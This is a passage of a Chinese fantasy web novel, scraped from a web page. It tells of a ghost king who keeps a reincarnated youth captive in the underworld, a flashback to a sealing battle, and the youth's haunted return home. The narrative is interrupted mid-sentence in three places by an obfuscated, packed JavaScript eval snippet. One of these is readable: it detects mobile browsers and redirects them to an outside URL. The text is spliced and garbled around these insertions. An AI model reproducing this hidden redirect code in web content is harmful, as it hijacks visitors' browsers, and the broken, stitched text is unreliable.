“那……你陪着我也不行吗?”云霁白抬起湿漉漉的眼睛望着他,像只被关久了渴望出去放风的小动物,“就一会儿,就在附近转转,我保证不乱跑。”他伸出手,轻轻拉住苍梧的衣袖,晃了晃,“鬼王哥哥,好不好嘛?” 这声“鬼王哥哥”叫得又软又糯,带着小心翼翼的恳求。 苍梧感受着袖摆传来的微弱力道,看着他眼中那份刻意营造的、全然的依赖,心中那点因被忽视而产生的醋意瞬间烟消云散。 他反手握住云霁白微凉的手,指尖在他细腻的手背上轻轻摩挲了一下,语气放缓了些:“又撒娇……本王又没说不允许你出去。” 云霁白眼中立刻绽放出惊喜的光芒,笑容真切了几分:“真的?谢谢鬼王哥哥!” 苍梧:“肉麻死了。” 他牵着云霁白的手,向外走去。 云霁白顺从地跟在他身侧,低垂的眼睫掩去了眸底一闪而过的深思,或许,撒娇是管用的。 “知道了鬼王哥哥,我以后再也不喊了。” “不准不喊。” “为什么?喊了你说肉麻,不喊了你又不乐意。” “本王说了不准就是不准,哪有那么多为什么。” “真不讲理。” 4. 千年后的重逢(4) 云霁白牵着苍梧的手,踏出了那座禁锢他许久的宫殿。结界在身后无声闭合,眼前的天地豁然开朗。 鬼界并非想象中的全然漆黑与荒芜。天空是流动的暗紫色,悬浮着幽绿的冥火,如同星辰。脚下的土地生长着无边无际、如火如荼的彼岸花,无声地燃烧着凄艳决绝的美。忘川河蜿蜒流淌,河水静谧幽绿,倒映着岸边的花影与空中的冥火,河中偶有载着茫然新魂的骨船无声滑过。 提着魂灯站在船头的鬼差向着苍梧恭敬行礼。 苍梧微微颔首,继续带着云霁白缓步而行。所过之处,无论是巡逻的鬼将、忙碌的鬼差,还是浑噩的游魂,皆敬畏地匍匐在地,不敢抬头。 云霁白默默看着这一切,心中对苍梧的权势有了更直观的认知,同时也更加沉重。在这样的绝对力量面前,他的逃跑计划,显得如此可笑。 云霁白不着痕迹的叹了一口气,强迫自己将注意力放在别处…… 这些游魂虽然形态不一,大小不一,有的尚且维持着人形,有的则模糊成一团雾气,但它们却有着共同之处——每一道魂影手中,都提着一盏灯。 那灯不像人间的灯笼以纸或纱糊面,而是由某种莹白的骨质框架构成,中间无声燃烧着一簇幽蓝色的火焰,光芒或明或暗,映照着魂体模糊的面容。 云霁白好奇地看着它们手中那象征着生命余烬与人间牵绊的灯火,轻声问道:“他们……为何都提着一盏灯?” “那是凡人生命的证明,也是他们与阳世最后的联系。”苍梧的声音在一旁平静地响起,带着一种洞悉轮回的淡漠,“魂灯由逝者自身的十二根肋骨所化,中间燃烧着的灯芯并非煤油,而是家人、挚友对他们的思念。思念越重,牵挂越深,这灯芯便燃烧得越亮,魂体也能维持得更久些……” “如果……魂灯灭了,那么他们也就没有存在的意义了……” 云霁白闻言,下意识地低头看了一眼自己空荡荡的手心,心中那份“自己未死”的念头更加坚定地冒了出来。他的家人那么爱他,若是他真的死了,他们该是何等悲痛?那份思念,定然会化作一盏又大又亮、独一无二的魂灯,指引着他,温暖着他,绝不会像现在这样,两手空空,一无所有。 一个念头促使他抬起头,望向身旁这个掌控他命运的鬼王:“你呢?你有魂灯吗?” 他想象不出,像苍梧这样冷酷无情、高高在上的鬼界之主,会有什么人思念他。 苍梧的脚步几不可察地顿了一下,紫瞳中掠过一丝极为复杂的情绪,快得让人无法捕捉,他沉默了片刻,才低声道:“有。” 他缓缓摊开苍白的手掌,掌心上方空气微微扭曲,随即凝聚出一团温暖的火红色光芒。 那光芒并不刺眼,反而带着一种古老的、神圣的韵味。 光芒中,八支流光溢彩、蕴含着磅礴力量的凤羽虚影缓缓浮现,它们以一种玄妙的姿态交织环绕,最终凝聚成一盏极为精致、不同于任何游魂手中骨灯的——凤翎长灯。 这具由华丽凤翎构筑的的灯盏内部,此刻却是一片虚无的黑暗。没有温暖的火光,没有跳动的灯芯,只有一片沉寂的冰冷的空洞,仿佛一颗永恒凝固的星辰内核,所有的光与热都已在遥远的过去燃烧殆尽,只留下这完美却令人心碎的躯壳,安静地悬浮在苍梧掌心。 云霁白看着这盏与众不同的,华美至极的灯,一时间竟忘了呼吸。 他不敢想象,若是这盏灯亮起来,那火红的光芒映照着流转的凤羽,会是多么好看。他忍不住追问:“你的灯……为何与别人的不同?” 是因为他是鬼王吗? 苍梧的目光落在自己掌心那盏沉寂的灯上,深邃的紫瞳中仿佛倒映着万千流逝的岁月与无尽的荒凉。 他的声音很轻,却清晰地落入云霁白耳中:“因为……没有灯芯了……” 话音落下的瞬间,周遭仿佛变得更加寂静,连忘川河水流动的声音都似乎远去。 奇怪……看着苍梧的魂灯……心为何会跳得那么厉害。云霁白看向别处,开始转移话题。 “那是何处?”云霁白指着远处一座笼罩在浓郁雾气中、隐约传来哀嚎声的迷雾森林。 “炼狱。”苍梧收回魂灯,言简意赅,“惩戒罪魂之地。” 云霁白缩了缩脖子,立刻收回手指,下意识地往苍梧身边靠了靠,仿佛那里是唯一安全的地方。这个细微的动作,取悦了苍梧,他周身的气息似乎又柔和了一丝。 他们走过奈何桥,看到了在桥边熬汤的孟婆。那是一位容貌清丽,气质沉静的女子,她看到苍梧,只是微微颔首,目光落在云霁白身上时,却带着一丝不易察觉的探究与意外。 云霁白心中一动。 当苍梧被一位匆匆赶来的判官拦住,低声禀报事务时,云霁白状似无意地踱步到孟婆身边,看着那锅翻滚着迷离气泡的绿汤。 “喝了它,就能忘记一切吗?”他轻声问,像是自言自语。 孟婆抬眸看他,声音平和无波:“忘川水,忘前尘。不过……是好是坏,谁又说得清。” 云霁白沉默片刻,忽然用极低的声音,飞快地问了一句:“婆婆,活人……真的不能入鬼界吗?” 孟婆舀汤的动作几不可察地一顿,她深深看了云霁白一眼,却没有回答,只是将一碗汤递给一个麻木走上前的新魂。 这时,苍梧已经处理完事务,走了过来,目光落在云霁白与孟婆之间,带着一丝审视。 云霁白立刻扬起一个天真无邪的笑容,跑回他身边:“接下来去哪?” 苍梧主动握住他微凉的手指:“鬼后什么都好,就是太黏人了,你看,我离开不过片刻,又开始撒娇了……” 云霁白尴尬地看向孟婆,心道,谁问这个了! 孟婆:“鬼王和鬼后的感情深厚,实在羡煞旁人……” 苍梧道:“这是自然。” 两个人继续向前走,越过忘川河,翻过金灿灿的山。 “金色的山?” “是燃烧的思念。这座山原本光秃秃的,人间烧来的东西太多了,所以它变得金灿灿的。” 鬼界的景致一一掠过,从忘川河畔到彼岸花海,从千魂壁到回音山,苍梧难得有耐心地一一为云霁白讲解。云霁白始终扮演着那个好奇又带着些许依赖的角色,乖巧地跟在苍梧身侧,偶尔发出惊叹,软软地唤着“鬼王哥哥”。 苍梧心甘情愿迷失在云霁白的温柔之中,甚至破例带云霁白来到鬼界边缘——那片维系阴阳平衡的混沌之地。 四周是扭曲的光影与呜咽的空间乱流,中间一道巨大的,由无数幽暗符文凝结而成的古老石门巍然矗立,门扉紧闭,散发着隔绝生死的威严。 这便是阴阳两界的通道,非特定时刻或拥有无上权能者,绝不可开启。 “鬼王哥哥,”云霁白指着远方一片不断扭曲、仿佛撕裂了空间的混沌区域,声音带着恰到好处的好奇与一丝怯意,“那里……好可怕的气息,是什么地方?” 苍梧顺着他所指的方向望去,紫瞳幽深:“那是还阳门,是鬼界与人间力量交织碰撞的不稳之地,也是……连接两界的通道。” 通道! 云霁白的心跳不由自主地加快,他等待的,或许就是这个机会。 他停下脚步,轻轻拽了拽苍梧的衣袖,仰起脸,将演练过无数次的、混合着依赖与好奇的表情发挥到极致,眼眸在幽暗中显得格外清亮,却又带着一丝恰到好处的怯懦。 云霁白的声音又轻又软,带着蛊惑人心的甜腻,“那门后面……就是人间吗?我……我有点想家了,就看一眼,好不好?就看一眼,我保证立刻回来。” 他一边说着,一边小心翼翼地观察着苍梧的神色,试图从中找出一丝动摇。 他甚至主动将身体靠得更近,几乎依偎进苍梧冰冷的怀里,仰起的脖颈脆弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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然而,就在他以为即将挣脱这幽冥牢笼的刹那,身后,传来苍梧低沉而平静的声音,没有愤怒,没有焦急,甚至带着一丝了然的轻笑。 那声音不大,却如同最冰冷的枷锁,精准地穿透了空间的阻隔,清晰地响彻在他的耳边,也击碎了他所有的希望:“阿渊,” “撒娇,只对爱你的人管用。” “你的演技,”他紫瞳中暗流汹涌,是洞悉一切的嘲讽与更深的偏执,“其实,从头到尾都很拙劣。” 话音落下的瞬间,那原本被苍梧力量“稳定”住的通道,猛地爆发出狂暴紊乱的灵力乱流! 云霁白脸上的得意瞬间凝固,转为惊骇——门离他远去了。 差一步……只差一步……他就可以回到人间了。 他回头,映入眼帘的是苍梧站在原地,唇角那抹冰冷而笃定的弧度,仿佛在说:看,你连逃离的路径,都由我亲手铺就,并掌控始终。 通道的光芒彻底熄灭,巨大的石门恢复原状,仿佛从未开启。 云霁白还维持着向前奔跑的姿势,却已被彻底困在原地,留在一片虚无的混沌与苍梧掌控的领域之间。他所有的算计,所有的隐忍,在绝对的力量与洞察面前,成了一个彻头彻尾的笑话。 冰冷的绝望,比鬼界的寒风更刺骨,瞬间浸透了他的四肢百骸。 原来,他自以为精湛的表演,他精心策划的逃离,在苍梧眼中,不过是一场早已被看穿、甚至被他纵容着进行到最后一步的拙劣戏码。 苍梧手腕微一用力,便轻易地将浑身僵冷的云霁白重新拉回自己怀中,那冰冷的怀抱如同最坚固的囚笼。 他低头,在云霁白失去血色的唇上印下一个冰冷而霸道的吻,带着绝对的占有和一丝惩罚性的撕咬。 “本王,”他吻着他的唇瓣,声音喑哑,宣告着不容置疑的所有权,“从来不只是爱你……” “更要得到你。” “本王的阿渊。” 5. 千年后的重逢(5) “不要!” 云霁白猛地从床榻上坐起,胸口剧烈起伏,额间沁出细密的冷汗。那双总是带着几分骄纵或伪装的眼眸,此刻只剩下未散尽的惊恐。 温暖的日光透过雕花木窗洒进来,在锦被上投下斑驳的光影。空气中弥漫着熟悉的,属于人间的安宁静谧,还有淡淡的檀香——这是他自幼闻到大的家中惯用的熏香。 他这是在家里?他回到家了?可是……可是苍梧怎么会那么好心放过他呢? 云霁白捂着脸,无声流着泪,兜不住的眼泪顺着指缝流出来,打湿了衣袖。 为什么会是他……为什么苍梧一定要他…… “渊儿,可是做噩梦了?” 云夫人听见云霁白惊慌的叫声,放下手中的活儿匆匆赶来,身后跟着云老爷。他们快步走到床边,母亲温暖的手立刻抚上他的额头,父亲则站在一旁,眼中是失而复得后愈发浓重的关切。 “没事了,没事了,都过去了,你回家了。”云夫人柔声安慰着,将他揽入怀中。那怀抱温暖、真实,带着荷花的馨香,与幽冥殿的冰冷死寂截然不同。 云霁白怔怔地靠在母亲怀里,感受着这真实的温暖,一时间竟分不清此刻是梦,还是那漫长的无边黑暗才是梦。 他真的……回来了? 苍梧……竟然真的放他走了? 不,不可能。那个说一不二,偏执疯狂的鬼王,绝不会如此轻易放手。 一丝寒意顺着脊椎悄然爬升,冲散了重归人间的喜悦。他下意识地抚上自己的手腕,那里似乎还残留着被苍梧攥住时的冰冷触感。 “我是怎么回来的……?” “你当本王是真心放他走的吗?放一个鬼魂回阳间,可是前所未有的事。更何况最后一个轮回结束,他马上就会回到本王身边,本王怎么可能轻易放他离开……只是,最近封印松动,仙界那帮人要来鬼界议事,他的气息太明显了,会被仙界的人察觉,到时,仙界的人一定会阻挠他重生……” 苍梧高踞于白骨王座之上,指尖轻轻敲击着扶手,那规律的声响在死寂的幽冥殿中回荡,如同催命的鼓点。台阶之下,两旁侍立着无数提蓝色魂灯、面容空白的小鬼,幽蓝的灯火映照着他冰冷的侧脸,紫瞳深处是翻涌的暗流。 鬼魂还阳,不仅会引起人间动荡,还会带来更多的麻烦,若辰做了这么多年的鬼,这些还是知道的,只是有一点不明…… 若辰提着魂灯,小心翼翼地问道:“凤渊殿下曾是四海八荒第一战神,是仙界的人,若是重生,对仙界来说,完全是好事,他们为什么要阻止凤渊殿下重生呢?” 苍梧冷哼一声,紫瞳中戾气一闪而过:“因为他们心中有鬼。” 听出苍梧语气中的不悦,若辰立刻噤声,不敢再追问。 鬼殿陷入一片令人窒息的死寂。 这时,若影的身影无声无息地出现在殿口,恭谨禀报:“王,接到消息,仙界的人已抵达鬼界。” 苍梧眼底闪过一丝厌烦,声音没有任何起伏:“带他们进来。” 片刻,几位周身环绕着淡淡仙光、衣袂飘飘的仙界使者步履匆匆而入,为首的正是须发皆白、手持拂尘的司命星君。他面色凝重,声音带着仙家特有的清冷空灵,却也难掩一丝急切:“鬼王殿下,西南地脉异动加剧,凶兽‘焚煞’封印裂痕日益扩大,业火已灼伤界壁,封印岌岌可危。若此兽破封而出,三界苍生皆受其害,后果不堪设想。仙帝特命我等前来,请鬼界派人一同前往加固封印,共御此劫!” 殿内鬼气森森,与纯净的仙光格格不入。几位侍立的鬼将面露愤然,显然对仙界这般看似请求、实则隐含命令的口吻极为不满。 然而,苍梧却只是懒洋洋地靠在王座上,仿佛对方说的不过是微不足道的小事。他指尖依旧漫不经心地敲击着扶手,紫瞳幽深,看不出情绪,反而像是想起了什么有趣的事,唇角勾起一抹极淡、却令人心悸的弧度。 一声轻嗤,打破了凝重的气氛。 “当年落下封印的时候,本王就说过,”苍梧的声音不高,却带着刺骨的寒意,清晰地传入每一位仙使耳中,“若日后封印松动,不要来找我。当年诸位都在场,也都点头同意了。如今不过过了区区千年,怎么就忘了呢?” 他微微前倾身体,目光如冰冷的刀锋,扫过司命星君和他身后脸色难看的仙使们。 “你们这些做仙人的,记性未免也太差了吧。” 司命星君面色一变,强压下心头不悦,试图以大局为重:“此事非同小可,一旦‘焚煞’突破封印,必将祸害三界。生灵涂炭……凤渊殿下当年为守护三界安宁所付出的努力与牺牲可就全都白费了啊!” “闭嘴!” 苍梧抬起手的瞬间,万鬼臣服。 而后重重落在王座扶手上,整个幽冥殿为之剧烈一震,万鬼噤声!他周身爆发出骇人的煞气,白发无风飘动,紫瞳之中竟有骇人的红光疯狂闪烁。 万鬼跪伏在地,异口同声:“王,息怒。” “你不配喊他的名字!”苍梧怒气未消半分,厉声喝道,“若不是你们当年设计陷害他,他怎会被那妖物彻底侵蚀心神!又怎会被封印在无尽深渊,受尽折磨。” “斩妖除魔的时候你们需要他!抵御外敌的时候你们需要他!可当他被妖物附身,心智迷失,走火入魔的时候,你们非但不帮他,反而弃他于不顾,甚至落井下石,将他的性命、他的魂魄置于万劫不复之地!” 苍梧的声音充满了刻骨的讽刺与悲愤:“现在,三界有难了,你们又想起他了?想起他当年的‘努力’了?真是天大的笑话!” 他居高临下地看着脸色煞白的仙使们,一字一句,如同最终审判:“想让我出手加固封印?可以。” “回去告诉仙帝,想要鬼界的力量,就让他亲自来求我,否则……” 苍梧的紫瞳中闪过一丝毁灭般的疯狂。 “就让那‘焚煞’出世,让我和凤渊相见……” 苍梧的厉声指控裹挟着千年积怨与骇人煞气,在幽冥殿中轰然炸响。方才还带着几分仙家矜持与迫人气势的几位仙使,此刻如同被无形的重锤击中,齐齐脸色剧变,身形几不可察地晃了晃。 为首的司命星君,那张万年不变的平和面容上,第一次出现了清晰的裂痕,握着拂尘的手微微颤抖,指节因用力而泛白——苍梧的每一句话,都像一把淬了毒的匕首,精准地刺穿了他们试图掩盖千年的、最不光彩的伤疤。 他想开口反驳,想说那是为了大局,是不得已而为之……但在苍梧的逼视下,所有冠冕堂皇的理由都显得如此苍白。 身后那些较为年轻的仙使,更是面无人色,眼中充满了难以置信与惊惶——他们大多只从历史书上与前辈的只言片语中知晓千年前那场大战,只知道那位惊才绝艳的凤渊殿下背叛了仙界才与焚煞封印在一起,何曾想过背后竟有如此不堪的隐情。 苍梧的指责对于一向自诩清正、标榜仁德的仙界而言,简直是颠覆认知的羞辱。 有人下意识地垂下了目光,不敢与王座上那煞气冲天的鬼王对视,更不敢去深想那段被尘封的真相。 整个仙界的气势在苍梧的怒火面前,瞬间土崩瓦解,从之前的奉命而来变成了如今的无地自容。 那周身环绕的纯净仙光在与森然鬼气的对抗中节节败退。 司命星君深吸一口气,试图稳住心神,挽回一丝仙界的颜面,但声音已然失了之前的镇定,带着一丝不易察觉的沙哑与狼狈:“鬼王陛下,当年之事另有隐情,想必您误会了……如今三界危难……” “误会?”苍梧嗤笑一声,打断了他,那笑声冰冷刺骨,充满了极尽的嘲讽,“好一个轻描淡写的‘误会’!他用性命换来的千年安宁,在你们口中,就只是一个‘误会’?” 他袖袍一拂,无尽的鬼气如同狂潮般涌出,逼得仙使们不由自主地后退数步,仙光摇曳,几乎溃散。 “本王的条件已经开出,”苍梧的声音恢复了冰冷的平静,却比之前的暴怒更令人胆寒,“回去告诉仙帝,若我见不到他,他也休想见到我鬼界的人。” 司命星君脸色灰白,知道再无一字可劝。他深深看了一眼王座上暴怒的身影,最终只是艰难地拱了拱手,一句话也未能再说,带着一众失魂落魄的仙使,几乎是仓皇地退出了幽冥殿。 来时仙光熠熠,去时狼狈不堪。苍梧望着他们消失的方向,紫瞳中的血色缓缓褪去,只剩下深不见底的冰冷与决绝。 为了凤渊,莫说与仙界为敌,便是颠覆这三界,他也在所不惜。 他永远记得那天,冲天的业火将半边天空烧成诡异的暗红,焦土之上,硝烟弥漫,尸横遍野。曾经的琼楼玉宇化为断壁残垣,空气中充斥着灵力爆裂的尖啸与垂死的呻吟。 凤渊,昔日的四海八荒第一战神,此刻却单膝跪在一片废墟之中。那身象征荣耀与力量的银白战甲破碎不堪,沾满了暗红的血污与焦黑的尘土。原本清冽如寒星的眼眸,此刻却是一片混沌的猩红,额间一道狰狞的黑色魔纹正疯狂闪烁,试图吞噬他最后的神智。 “呃啊——!”他发出一声痛苦的低吼,一手死死攥住刺入地面的长剑稳住身形,另一手则痛苦地抓向自己的头颅,指节因极度用力而泛白。 那上古妖物的残魂正在他体内疯狂冲撞,诱惑与毁灭的低语如同跗骨之蛆,啃噬着他的意志。 “小凤凰,我来了,别怕,本王来了。”一道玄色身影如同鬼魅般冲破肆虐的魔气,落在他身边,是苍梧。 “你是……苍梧……”凤渊猛地抬头艰难辨认面前的人,猩红的眼中闪过一丝挣扎的清明,声音嘶哑破碎,“别过来……我会伤了你……” 他周身开始不受控制地散出狂暴的、充满毁灭气息的法力,周围的碎石被瞬间湮灭。 看着如此狼狈的凤渊,苍梧心疼道:“本王何时怕过这些。让本王看看,本王有办法帮你。” “帮不了的……苍梧,我剑上煞气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凤渊额间那道狰狞的魔纹骤然爆发出吞噬一切的刺目黑光!魔纹带着泯灭一切的力量,凤渊眼中最后那一丝苦苦支撑的清明,如同风中残烛,瞬间被黑暗吞没! “鬼王殿下,不能再犹豫了!再犹豫下去恐会有更多的人死在这里!” 再犹豫片刻,凤渊便会彻底沦为丧心病狂的杀人魔物。 明知道事有蹊跷,凤渊恐怕是被设计陷害……为了顾全大局,为了凤渊最后的心愿,苍梧不得不做出违心的决定。 苍梧发出如同濒死野兽般的咆哮,紫瞳之中血泪几乎要夺眶而出,他猛地抬手,不再攻击仙界众人,而是将周身磅礴无尽的幽冥之力催动到极致,那力量不再阴冷,反而因为极致的悲痛与决绝,燃烧起了冰蓝色的、如同灵魂之火的烈焰! “以鬼王之名,引九幽之力,永锢此魂!” 他双手结出一个古老而复杂的法印,无数道缠绕着冰蓝火焰的幽冥锁链自他掌心、自虚空中疯狂涌出,带着一种近乎温柔的残酷,精准地缠绕住凤渊的身体! 彻底失去神智的凤渊发出暴怒的嘶吼,疯狂挣扎,毁灭性的法术冲击着锁链,震得苍梧魂体剧颤,嘴角溢出鲜红的血液。苍梧死死咬着牙,紫瞳中只剩下那片被锁链缠绕的身影,将更多的力量,连同自己碎裂的心魂,一同灌注进去! “封!” 又是一声泣血般的敕令!幽冥锁链骤然收紧,冰蓝的火焰与那刺目的黑光激烈对抗、吞噬!锁链深深嵌入凤渊的灵体,发出恐怖的声响,仿佛在抽离他的力量,也像是在镇压他的灵魂。 在光芒最炽盛、对抗最激烈的那一刹那,被锁链紧紧束缚的凤渊,猩红的眼底似乎极其短暂地、回光返照般地闪过一丝难以言喻的清明与解脱。他望着苍梧,嘴唇微动,没有声音,但苍梧看懂了。 他说:“别担心,我们凤凰可是会浴火重生的……” 随即,所有的光芒向内急剧收缩,连同凤渊的身影一起,被硬生生拖拽、压缩,最终化作一道流转着冰蓝与暗黑纹路的封印光球悬浮在苍梧颤抖的掌心之上。 天地间,骤然死寂。 仙界众人看着被封印成功的魔物,皆松了一口气 唯有苍梧,低头看着掌中那蕴含着凤渊残魂与无尽痛苦的封印,感觉自己的整个世界,也随之被彻底封存在这方寸之间,陷入永夜。 “那我呢……” “为了天下苍生,亲手杀了最爱的人……” 鬼界至高无上的掌权者,在千年前那场血色弥漫的大战里,第一次,也是唯一一次,流露出了近乎崩溃的脆弱。 苍梧缓缓睁开眼,紫瞳深处似乎还残留着千年前的茫然与失去凤渊的痛苦。他摊开手掌,掌心静静躺着一枚边缘粗糙、色泽暗淡的银甲碎片。 “凤渊……”他低声呢喃,指尖抚过那冰冷的残片,仿佛还能感受到上面残留的体温。 “这一次,无论如何,本王绝不会再让任何人伤害你。” 6. 千年后的重逢(6) 云霁白突然感到心口一阵剧痛,仿佛被无形的利刃贯穿。他下意识地捂住胸口,眼前被刺目的幻象占据—— 冲天的大火焚烧着琼楼玉宇,天空被染成不祥的血色,热浪仿佛能隔着时空灼伤他的皮肤。 破碎的银甲碎片四散飞溅,上面沾染着暗红与焦黑,带着一种英雄末路的悲凉。 还有一双盛满痛苦的紫瞳,那双眼睛他曾在那幽冥殿中见过,深邃、威严、难以捉摸。可此刻的这双紫瞳,却碎裂了所有坚强的外壳,只剩下绝望、悲伤,以及仿佛随着眼前某个重要事物的崩塌而一同死寂的灰败。 这极致的痛苦如此真实,几乎让他窒息。 紧接着,一片虚无的黑暗中,传来模糊却喧嚣的欢呼声,层层叠叠,仿佛来自万众: “恭喜鬼王,一战成名……” “贺喜鬼王,平定叛乱,威震三界……” 那欢呼声虽然在庆祝胜利,却像冰冷的针,密密麻麻地刺入他的耳膜,热闹的画面与那双紫瞳中的痛苦形成了鲜明对比。 云霁白闷哼一声,从短暂的却耗尽心神的痛苦画面中挣脱出来,大口大口地喘息着,额头上布满了细密的冷汗,脸色苍白如纸。 是梦吗? 可如果不是梦,为何会如此真实,连那火焰的灼热,那心碎的痛楚都清晰得刻骨铭心? 如果那是真的,那他在那个场景里,扮演着什么角色? 那一战成名的鬼王说的是苍梧吗?他为何在“成名”之时,眼中没有半分喜悦,只有毁灭般的痛苦? 无数的疑问如同潮水般涌上,几乎要淹没他的理智。 “这些画面到底是什么……”他无意识地轻声问出,声音里带着自己都未曾察觉的源于灵魂深处的颤抖和对记忆本能的恐惧。 云夫人温柔地抚摸他的头发,眼眶红红的,软声软语:“傻孩子,你掉进河里,家里派人打捞了一天一夜才把从湍急的河流中把你找到。幸好找到了……都过去了,都过去的事情就不要再想了,你也真是的,没事瞎往河边跑什么,你要是出了事,可让我和你爹怎么活啊……” “对不起,我也不知道自己为什么会到河边。孩儿不孝,让母亲和父亲担忧了……” 云霁白低下头,避开母亲关切的目光,眼中充满了迷茫与挣扎。 为什么那些画面,尤其是那双痛苦绝望的紫瞳,反复在他脑海中闪现,挥之不去? 为什么每次想到“苍梧”这个名字,心口除了本能的恐惧与排斥,还会泛起一阵阵难以言喻的仿佛源自遥远过去的,沉闷的抽痛,那痛楚里,似乎还夹杂着一丝愧疚。 “渊儿?” 母亲温柔的呼喊打断云霁白的思绪。 云霁白挤出一个疲惫的笑容:“我没事……” 云母信佛,轻声道:“没事就好,没事就好……你能平安回来多亏了佛祖保佑,休养几天,跟着娘一起去上香还愿。” 云霁白应下。 人间的日子仿佛恢复了往昔的平静。 云霁白重新住进了自己熟悉的院落,父母将他照顾得无微不至,仿佛要弥补他此前“落水受惊”所遭受的一切。 府中的下人依旧对他恭敬有加,城中的玩伴也曾来探望,一切似乎都与那个骄纵受宠的云家小少爷失踪前别无二致。 可云霁白知道,一切都不同了。 他常常会在深夜惊醒,仿佛还能感受到幽冥殿那彻骨的寒意,以及苍梧那双欲言又止的紫瞳。白日里,他努力扮演着从噩梦中恢复的,稍微有些沉默但依旧温顺的儿子,陪着母亲说话,听父亲讲述生意上的事情。 但只要一个人,那份强装的平静便会碎裂。他时常下意识地抚摸自己的手腕、唇瓣,那些被苍梧触碰过的地方,仿佛还残留着苍梧的温度。更让他心惊的是,他发现自己开始畏惧过于明亮的光线,反而对月光、对阴影,产生了一种莫名的亲近感。 “渊儿,可是身体还有何处不适?”云夫人担忧地看着对着窗外的月色出神云霁白,“气色总是不见好,也没有办法和娘一起拜佛上香,要不要再请大夫来看看?” “娘,我没事。”云霁白回过神,挤出一个安抚的笑容,“就睡得不太好。” 他不敢告诉父母真相,自己真真正正的死过一次,而且还见到了传说中的鬼王。 直到那一日,他在花园中散步,试图驱散心中的阴郁。阳光透过繁茂的枝叶洒下,在他身上投下斑驳的光点。然而,当他经过一株盛开得极其漂亮的牡丹时,原本娇艳欲滴的花朵,竟以肉眼可见的速度迅速枯萎凋零,仿佛被什么妖魔鬼怪吸走了精|气。 云霁白猛地停住脚步,脸色瞬间煞白。 他下意识地后退几步,远离那些生机勃勃的花草。 这是……这是怎么回事…… “你是鬼界的人。生人,阳盛阴衰;死人,阴盛阳衰。受到你身上的阴气影响,这些花凋零了。” 深沉的声音在脑海中响起,云霁白嘴唇颤抖,崩溃道:“你是谁……” “这么快就把我忘了?” 那声音带着幽冷的笑意,如同冬夜里结冰的湖面裂开的细纹。 话音落下的瞬间,那株凋零的牡丹枯枝,竟然开始重新生长。衰败的灰色如潮水般褪去,枯黄蜷曲的花瓣重新舒展、饱满,妖异的紫色以更浓烈、更不祥的姿态渲染开来,甚至散发出一种混合着异香与糜烂的气息。 而在那层层叠叠、诡异重生的花瓣中央,赫然凝聚出一张人脸。那张脸,云霁白曾在幽冥殿中见过,俊美得令人窒息,却也冰冷得不似活物——苍白的肌肤,白色的长发,以及那双深邃如同蕴含着整个夜空的紫瞳。 此刻,这张脸正清晰地浮现在娇艳的花盘上,嘴角勾着一抹诡谲阴森的笑容,目光穿透虚空,牢牢锁住几乎崩溃的云霁白。 花瓣构成的嘴唇轻轻开合,那低沉而熟悉的声音在房间中响起,带着一种宣告所有权般的、令人毛骨悚然的亲昵:“我是你的夫君啊,阿渊。” “不——!!!”他发出一声凄厉的尖叫,“你不是,你走开!” 云霁白崩溃的抱住脑袋,大声尖叫:“离开!离开这里!你不是我的夫君!我没有成婚!我还没有成婚!” 两行泪蜿蜒而下。 “怎么不是呢?阿渊又开始不乖了……阿渊,过来,让夫君好好抱抱。”苍梧的声音阴森而冰冷,仿佛地狱中的恶鬼发出的声音。 吓得云霁白头皮发麻,胡乱挥舞着手臂,企图驱散由各种物体幻化而成的苍梧。 可……挣扎无用。 苍梧如同藤蔓,缠着他,绕着他,让他在极度的惊悚中窒息。 巨大的精神冲击和情绪波动如同海啸般淹没了他,眼前最后的景象是那张在花瓣中带着诡笑的脸,随即黑暗彻底吞噬了他的意识。 “啊——!” 云霁白猛地从床榻上弹坐起来,胸口剧烈起伏,大口大口地喘着气,仿佛刚刚逃离一场溺毙的噩梦。额间、颈间满是冰冷的汗水,里衣也已被浸湿,紧紧贴在皮肤上,带来一阵阵寒意。 他惊魂未定地、无助地看向四周。 熟悉的雕花床顶,柔软的锦被,床边桌上散发着安神香气的香炉……是他自己的房间。窗外,天色已经暗了下来,只有朦胧的月光透过窗纸,给房间内的一切蒙上一层不真实的微光。 寂静。 死一般的寂静。 没有妖异重生的牡丹,没有花瓣上浮现的鬼脸,也没有脑海中那挥之不去的声音。 一切都安静得可怕。 他颤抖地伸出手,摸了摸自己的脸颊,上面还残留着泪水的湿意,冰凉一片。 是梦。 原来是做噩梦了。 云霁白看着指尖的水痕发呆,幸亏是梦…… “来福?”云霁白开口呼唤守在外间的贴身小厮,声音沙哑干涩得不成样子,仿佛被砂纸磨过。 外面一片死寂,无人应答。 平日里,只要他稍有动静,来福便会立刻殷勤回应。 一股寒意顺着脊椎爬升。 他不死心,又提高了些声音,带着一丝不易察觉的哭腔:“爹?娘?” 依旧没有任何回应,整个云府仿佛陷入了一种诡异的沉睡,听不见任何走动的脚步声,听不见父母的关切询问,甚至连夜间应有的虫鸣风声都消失了。 世界被一种绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908436|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对的、令人心慌的寂静所笼罩。 云霁白的心开始“扑通扑通”狂跳,血液冲上头顶,又迅速冷却,留下冰冷的恐惧。 